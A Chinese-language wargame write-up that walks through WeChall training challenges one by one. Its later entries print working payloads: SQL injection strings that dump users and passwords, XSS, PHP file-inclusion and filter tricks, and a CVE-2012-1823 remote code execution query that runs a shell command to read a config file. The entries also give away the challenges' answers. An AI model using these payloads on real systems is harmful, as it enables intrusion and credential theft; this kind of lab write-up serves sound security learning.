Training:Get Sourced
看源代码得到答案
Training:Stegano I
改成txt文件看下
Training:Crypto - Caesar I
用这个网站,里面有凯撒解密,还能用英文字典直接分析,比较方便。
或者用quipqiup,传统置换密码基本都可以解密。
Training:WWW-Robots
访问主站的robots.txt得到答案
Training:ASCII
写个Python脚本
a = "84, 104, 101, 32, 115, 111, 108, 117, 116, 105, 111, 110, 32, 105, 115, 58, 32, 112, 103, 109, 111, 112, 114, 97, 115, 110, 102, 102, 98";
for i in a.split(', '):
print("{0}".format(chr(int(i))),end='')
Encodings - URL Encode
用现成的Hackbar工具直接解密URL字符串
Prime Factory
编程直接解决
Python/C++均可,为了练习Python我用Python编写的
import math
a = 1000000
count = 0
while True:
flag = 1
for i in range(2,int(math.sqrt(a))+1):
if (a%i == 0):
flag = 0
break
Sum = 0
if(flag == 1):
b = str(a)
for i in b:
Sum += int(i)
for i in range(2,int(math.sqrt(Sum))+1):
if (Sum%i == 0):
flag = 0
break
if(flag == 1):
count = count + 1
print("{0}".format(a),end = '')
a = a + 1
if(count == 2):
break
Training:Encodings I
给了个JPK
这个工具很好用!
注意此时是七位一分格,ASCII码
很奇妙
Training:Programming I
这个需要编程,不然反应没法这么快
那就编一下,顺便学一下urllib
代码中的WC是Cookie,注意根据每个人的不同而不同,可以在Firefox上用Cookie Editor知道
其实没必要用最后的打印,毕竟只要打开就行了
import urllib.request
from io import BytesIO
import gzip
headers = {
'Host':'www.wechall.net',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://www.wechall.net/challenge/training/programming1/index.php',
'Cookie':'WC=123',
'DNT':'1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
url1 = r'http://www.wechall.net/challenge/training/programming1/index.php?action=request'
url2 = r'http://www.wechall.net/challenge/training/programming1/index.php?answer='
req = urllib.request.Request(url=url1,headers=headers,method='POST')
data = urllib.request.urlopen(req)
str1 = data.read().decode('utf-8')
str2 = url2+str1
print(str2)
req1 = urllib.request.Request(url=str2,headers=headers,method='POST')
data = urllib.request.urlopen(req1)
buff = BytesIO(data.read())
f = gzip.GzipFile(fileobj=buff)
print(f.read().decode('utf-8'))
Training:Regex
好吧,要学正则表达式……
我最痛恨的东西之一
那就学吧
level1: 答案是/^$/,我因为没加两个斜杠思考了半天
level2: /^wechall$/
level3: 绞尽脑汁编了一个/^wechall[4]?\.(?:jpg|gif|tiff|bmp|png)$/
然后他说最短的就39个字符。。。于是又要思考了,我这个41个字符
于是我把4的左右括号删了,就成功了
payload = /^wechall4?\.(?:jpg|gif|tiff|bmp|png)$/
level4: 思考了很久,编了一个 /^(?:\w+)(?=\.\w+$)/
于是不行。
想了下,可能会出现aaa.123.jpg这种情况,于是再改一下
/^(?:[\.\w]+)(?=\.\w+$)/
还是不行,十分头疼,到底是啥没匹配上?
那就上网搜一下,于是就没搜到
又弄了一个更加激进的/^(?:[\w\W]*)(?=\.[\w\W]+$)/
然而还不行
弃疗了,希望有大佬告诉我这个题怎么解
更新:/^.+(?=\..+$)/也不行
Training:PHP LFI
好久没碰Web题目了,%00截断都忘了……
于是答案是?file=../../solution.php%00
PHP 0817
结尾加上?which=solution就可以了
那么,为什么可以呢?我查了一下,发现是这个原因:
PHP中switch的逻辑是根据传入switch()的参数,和下面的case参数用==(重点!)比较,相同就执行,不同就下一个
这个执行的逻辑和C语言是一样的,也是不碰到break就一直执行。
那么,在这个题目上,我们用了?which=solution,而在PHP中(int)$string是等于0的,那么这个switch就进入了case 0的循环中,然而没有break,于
是会一直执行到正常的文件包含的地方,然后就没了。
Training:WWW-Basic
需要一个服务器
我自己写了个自动发包登录然后POST的python脚本,然后利用服务器发
结果……Wechall似乎有个识别是否脚本登录的功能,怎么也成功不了
于是先放下,等到我弄个远程桌面再说
弄好了
Limited Access
注意给了.htaccess
发现只limit了GET
于是我们用burpsuite改成POST发包就结束
Limited Access Too
发现limit了一堆东西
那么我们继续改包,随便打几个字符替换掉GET就行
HOST me
改包,把Host改成localhost
注意此时发包的对象(HOST)就不对了,这时候把上面GET后面的网址补全即可
Training:Tracks
先投一次
然后改包,把VOTE和下面的If-None-Match里面改个新的一样的值然后发包就行
htmlspecialchars
经典的情况……知道PHP中htmlspecialchars不会自动转换单引号,这个题就成功了
解决方案是在htmlspecialchars的函数中添加第二个参数ENT_QUOTES,表示对两种引号均进行编码
Yourself PHP
XSS点不在username,在源代码下面的$_SERVER['PHP_SELF']
这个东西是你的网页地址,所以我们进行奇怪的构造
/"></form><script>alert(1);</script>
加在源网页后面就过了(下面没有进行htmlspecialchars的判断)
Training:Registered Globals
也就是说,我们能用GET改参数。
于是我们加上?login[0]=admin就过了。
Training:MySQL I
先学习SQL语句的格式,然后就会了(建议在RUNOOB学)
考虑mysql的注释
于是在username字段填写admin'#
就过了
Training:MySQL II
联合查询语句和SELECT的使用
同时,我们还知道SELECT可以选择常量。
于是这题就可以做了
注意看源代码知道了数据的储存格式,于是构造
在username字段填写' UNION SELECT 0,'admin',md5('') FROM users WHERE ''='
也可以' UNION SELECT 0,'admin',md5('') ORDER BY '3
第二个短一点
密码为空,直接提交过关
注:在几天后,我有了新想法' UNION SELECT 0,'admin',md5('')#
更短
No Escape
先投一票,观察一下
然后构造payload为?vote_for=bill`=111--+在网址后面
至于为什么不能用#来注释,我也不知道……
Addslashes
看到源文件中有GBK就立刻想到宽字符注入。
既然用GET查询,那么构造
?username=%df%27+UNION+SELECT+CHAR(65,100,109,105,110)--+&password=&login=%E6%B3%A8%E5%86%8C
没了
The Guestbook
注意源文件的gbook_getIP()
这里没有对ip进行过滤
那么我们加上X-Forwarded-For就好了
于是抓包,加
X-Forwarded-For:127.0.0.1',(SELECT gbu_password FROM gbook_user WHERE gbu_name='Admin'));#
然后看留言板,没了
MD5.SALT
输点东西,发现会出一个Hello xxxx
那我们来进行注入,构造Admin' AND 1=2 UNION SELECT password,password FROM users WHERE username='Admin'#
然后就是Hello xxxxx(这个是密码)
然后四处找网站,cmd5和xmd5要收我钱,pmd5解不出,于是找到了somd5
解出答案是academicsalt21
登录,不行,但是题目名提示了我们:MD5.SALT
于是把salt21删掉,就过了
Table Names
MySQL盲注
先找到库的名字' AND 1=2 UNION SELECT 1,2,DATABASE()#
根据库的名字找表名' AND 1=2 UNION SELECT DATABASE(),2,GROUP_CONCAT(table_name) FROM information_schema.columns WHERE table_schema='gizmore_tableu61'#
然后有好几个表(aaawrong,),哪个是正确的呢?
于是我们测试一下,注意给了帐号test
输入为空和输入' AND 1=2 UNION SELECT * FROM gizmore_tableu61.usertableus4#一样,得知答案为gizmore_tableu61_usertableus4
其实,有时候我们还需要知道字段,也顺便写下吧' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='usertableus4'#
爆用户名' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(username) FROM gizmore_tableu61.usertableus4#
爆密码' AND 1=2 UNION SELECT 1,2,GROUP_CONCAT(password) FROM gizmore_tableu61.usertableus4#
Table Names II
这个题建议看大佬的题解,在此之前我不知道有processlist这个东西
输入为' AND 1=2 UNION SELECT info,2,3 FROM information_schema.processlist#
以下为举一反三:
注意这个方法也可以用在Table Names这题上, 但是只有表的名字,所以数据库是默认数据库——在上一题可以用DATABASE()获得
但是如果上一题不允许用DATABASE()呢?于是我们本机先USE mysql;再测一下SHOW processlist;
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| Id | User | Host | db | Command | Time | State | Info |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
| 4 | event_scheduler | localhost | NULL | Daemon | 20408 | Waiting on empty queue | NULL |
| 9 | root | localhost:13940 | mysql | Query | 0 | starting | show processlist |
+----+-----------------+-----------------+-------+---------+-------+------------------------+------------------+
有一行是db——得到了当前的数据库
于是上一题有了一种不需要DATABASE()的做法' AND 1=2 UNION SELECT info,2,GROUP_CONCAT(db) FROM information_schema.processlist#
本题结束
Light in the Darkness
注入原理链接
注入方式floor注入
payload=' OR (SELECT COUNT() FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY CONCAT(password,FLOOR(RAND(0)2)))#
注意把报错的最后一个1删掉,这个1是CONCAT加上去的
Training:LSB
图片搞下来
然后用StegSolve打开一个个图层看,就有答案
PHP 0815
弱类型转换问题
字符串和in_array比较没有启用严格比较是不比较数据类型的
所以我们加上强制转换就行了
也就是-0
与整数相减后得到的是整数
Guesswork
脚本爆破密码,可以试试用burpsuite的Pitchfork来配合字典
懒得爆了(速度太慢,可能是因为WeChall的服务器在国外的原因),百度得到密码为wechallbot
PHP 0818
要让输入是一个数,但是又不允许有数字出现
我们打开计算器,把这串数字粘贴进去,发现HEX形式为DEADC0DE
那么输入为0xDEADC0DE,恰好绕过限制。
PHP 0816
注意开头的if语句执行顺序和传进来的参数位置有关,我们只需要执行php0816Highlighter()就行
所以我们把三个参数换下位置,src改成solution.php就可以了
答案是AnotherCodeflowMistake
PHP 0819
利用heredoc来绕过单引号的检测
payload=
?eval=<<<q%0A1337%0Aq;%0A
注意%0A为换行符
Training:RegexMini
思考了很长时间,看了一下论坛,找到了一种PHP方法
注意多行模式下,回车符不会被preg_match考虑作为字母处理而是作为终止符,但是strlen把回车符认为是字符串中的一个字符,从而达到绕过的目的。
我们在框里敲16个英文字母,然后用Burpsuite拦截包,用C语言打一个回车符(直接用Windows电脑键盘回车敲的会是\r\n,只有通过某些手段打印的才是只有\n)然后复制粘贴,这样就过了
AUTH me
气到吐血
这个题花费了我无数精力,怎么做也做不出来
后来终于找到一份题解
智商被侮辱了
直接返回apache.conf上层文件夹然后下载p12证书导入Firefox就完事了
Crappyshare
注意到没有过滤协议文本
所以在框里面提交file://solution.php
答案是ICaNSeEcLeArLyNoW
Warchall: Live LFI
找了半天发现只有两个按钮能点击,其他的没有提示
然后就有了?lang=en
于是猜测是在这个东西里面操作,但是不知道要写啥
搜了题解发现是solution.php,好吧我写上去,用php伪协议绕过即可
Payload=?lang=php://filter/read=convert.base64-encode/resource=solution.php
Warchall: Live RFI
和上题一样
Warchall: Live RCE
CVE-2012-1823
Payload=?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
利用burpsuite POST数据<?php system('cat ../config.php');?>
Stop us
注意到这个程序运行缓慢
只要在它扣钱之前关掉就行
Just for fun!
Comments NOTHING